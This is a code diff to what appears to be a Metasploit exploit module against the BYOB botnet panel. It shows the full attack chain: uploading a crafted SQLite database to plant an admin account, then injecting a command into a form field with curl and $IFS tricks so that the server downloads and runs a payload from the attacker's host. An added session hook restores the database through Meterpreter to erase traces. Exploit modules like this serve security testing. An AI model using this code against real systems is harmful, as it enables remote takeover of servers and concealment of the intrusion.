@@ -88,6 +88,24 @@ def handle_request(cli, request, response_payload)
8888 end
8989
9090 def check
91+ res = send_request_cgi ( {
92+ 'method' => 'GET' ,
93+ 'uri' => normalize_uri ( target_uri . path ) ,
94+ 'keep_cookies' => true
95+ } )
96+
97+ if res
98+ doc = res . get_html_document
99+
100+ unless doc . at ( 'title' ) &.text &.include? ( 'Build Your Own Botnet' ) || doc . at ( 'meta[name="description"]' ) &.attr ( 'content' ) &.include? ( 'Build Your Own Botnet' )
101+ return CheckCode ::Safe ( 'The target does not appear to be BYOB.' )
102+ end
103+ else
104+ return CheckCode ::Unknown ( 'The target did not respond to the initial check.' )
105+ end
106+
107+ print_good ( 'The target appears to be BYOB.' )
108+
91109 random_data = Rex ::Text . rand_text_alphanumeric ( 32 )
92110 random_filename = Rex ::Text . rand_text_alphanumeric ( 16 )
93111 random_owner = Rex ::Text . rand_text_alphanumeric ( 8 )
@@ -112,16 +130,16 @@ def check
112130 } )
113131
114132 if res &.code == 500
115- CheckCode ::Vulnerable
116- case res &.code
117- when 500
118- CheckCode ::Vulnerable
119- when 200
120- CheckCode ::Safe
121- when nil
122- CheckCode ::Unknown ( "The target did not respond." )
133+ return CheckCode ::Vulnerable
123134 else
124- CheckCode ::Unknown ( "The target responded with HTTP status #{ res . code } " )
135+ case res &.code
136+ when 200
137+ return CheckCode ::Safe
138+ when nil
139+ return CheckCode ::Unknown ( 'The target did not respond.' )
140+ else
141+ return CheckCode ::Unknown ( "The target responded with HTTP status #{ res . code } " )
142+ end
125143 end
126144 end
127145
@@ -157,7 +175,13 @@ def register_user(username, password)
157175 'keep_cookies' => true
158176 } )
159177
160- res &.code == 302 ? print_good ( 'Registered user!' ) : fail_with ( Failure ::UnexpectedReply , "User registration failed: #{ res . code } " )
178+ if res . nil?
179+ fail_with ( Failure ::UnexpectedReply , 'No response from the server.' )
180+ elsif res . code == 302
181+ print_good ( 'Registered user!' )
182+ else
183+ fail_with ( Failure ::UnexpectedReply , "User registration failed: #{ res . code } " )
184+ end
161185 end
162186
163187 def login_user ( username , password )
@@ -176,10 +200,16 @@ def login_user(username, password)
176200 'keep_cookies' => true
177201 } )
178202
179- res &.code == 302 ? print_good ( 'Logged in successfully!' ) : fail_with ( Failure ::UnexpectedReply , "Login failed: #{ res . code } " )
203+ if res . nil?
204+ fail_with ( Failure ::UnexpectedReply , 'No response from the server.' )
205+ elsif res . code == 302
206+ print_good ( 'Logged in successfully!' )
207+ else
208+ fail_with ( Failure ::UnexpectedReply , "Login failed: #{ res . code } " )
209+ end
180210 end
181211
182- def generate_malicious_db ( _username , _password )
212+ def generate_malicious_db
183213 mem_db = SQLite3 ::Database . new ( ':memory:' )
184214
185215 mem_db . execute <<-SQL
@@ -267,7 +297,7 @@ module VARCHAR(15) NOT NULL,
267297 backup = SQLite3 ::Backup . new ( src_db , 'main' , mem_db , 'main' )
268298 backup . step ( -1 )
269299 backup . finish
270-
300+
271301 binary_data = File . binread ( file . path )
272302
273303 Rex ::Text . encode_base64 ( binary_data )
@@ -276,8 +306,8 @@ module VARCHAR(15) NOT NULL,
276306 base64_data
277307 end
278308
279- def upload_database_multiple_paths ( encoded_db )
280- success = false
309+ def upload_database_multiple_paths
310+ successful_paths = [ ]
281311 filepaths = [
282312 '/proc/self/cwd/buildyourownbotnet/database.db' ,
283313 '/proc/self/cwd/../buildyourownbotnet/database.db' ,
@@ -288,10 +318,8 @@ def upload_database_multiple_paths(encoded_db)
288318 ]
289319
290320 filepaths . each do |filepath |
291- vprint_status ( "Trying to upload database to path: #{ filepath } " )
292-
293321 form_data = {
294- 'data' => encoded_db ,
322+ 'data' => @ encoded_db,
295323 'filename' => filepath ,
296324 'type' => 'txt' ,
297325 'owner' => Faker ::Internet . username ,
@@ -307,15 +335,37 @@ def upload_database_multiple_paths(encoded_db)
307335 'keep_cookies' => true
308336 )
309337
310- if res &.code == 200
311- print_good ( "Database uploaded successfully to path: #{ filepath } " )
312- success = true
338+ successful_paths << filepath if res &.code == 200
339+ end
340+
341+ successful_paths
342+ end
343+
344+ def on_new_session ( session )
345+ if session . type == 'meterpreter'
346+ binary_content = Rex ::Text . decode_base64 ( @encoded_db )
347+
348+ print_status ( 'Restoring the database via Meterpreter to avoid leaving traces.' )
349+
350+ successful_restore = false
351+
352+ @successful_paths . each do |remote_path |
353+ remote_file = session . fs . file . new ( remote_path , 'wb' )
354+ remote_file . syswrite ( binary_content )
355+ remote_file . close
356+ successful_restore = true
357+ rescue ::StandardError => e
358+ print_error ( "Failed to restore the database: #{ e . class } #{ e } " )
359+ end
360+
361+ if successful_restore
362+ print_good ( 'Database has been successfully restored to its clean state.' )
313363 else
314- vprint_error ( " Failed to upload database to path: #{ filepath } " )
364+ print_error ( ' Failed to restore the database on all attempted paths.' )
315365 end
366+ else
367+ print_error ( 'This is not a Meterpreter session. Cannot proceed with database reset.' )
316368 end
317-
318- success
319369 end
320370
321371 def exploit
@@ -329,12 +379,15 @@ def exploit
329379
330380 # Generate and upload the malicious SQLite database
331381 print_status ( 'Generating malicious SQLite database.' )
332- encoded_db = generate_malicious_db ( username , password )
382+ @encoded_db = generate_malicious_db
383+
384+ @successful_paths = upload_database_multiple_paths
333385
334- unless upload_database_multiple_paths ( encoded_db )
386+ if @successful_paths . empty?
335387 fail_with ( Failure ::UnexpectedReply , 'Failed to upload the database from all known paths' )
388+ else
389+ print_good ( "Malicious database uploaded successfully to the following paths: #{ @successful_paths . join ( ', ' ) } " )
336390 end
337- print_good ( 'Malicious database uploaded successfully.' )
338391
339392 # Register the new admin user
340393 print_status ( "Registering a new admin user: #{ username } :#{ password } " )
@@ -350,7 +403,6 @@ def exploit
350403 uri = get_uri . gsub ( %r{^https?://} , '' ) . chomp ( '/' )
351404 random_filename = ".#{ Rex ::Text . rand_text_alphanumeric ( rand ( 3 ..5 ) ) } "
352405 malicious_filename = "curl$IFS-k$IFS@#{ uri } $IFS-o$IFS#{ random_filename } &&bash$IFS#{ random_filename } "
353-
354406 payload_data = {
355407 'format' => 'exe' ,
356408 'operating_system' => "nix$(#{ malicious_filename } )" ,
@@ -364,7 +416,7 @@ def exploit
364416 'ctype' => 'application/x-www-form-urlencoded' ,
365417 'vars_post' => payload_data ,
366418 'keep_cookies' => true
367- } , 0 )
419+ } , 5 )
368420
369421 # Keep the web server running to maintain the service
370422 service . wait
0 commit comments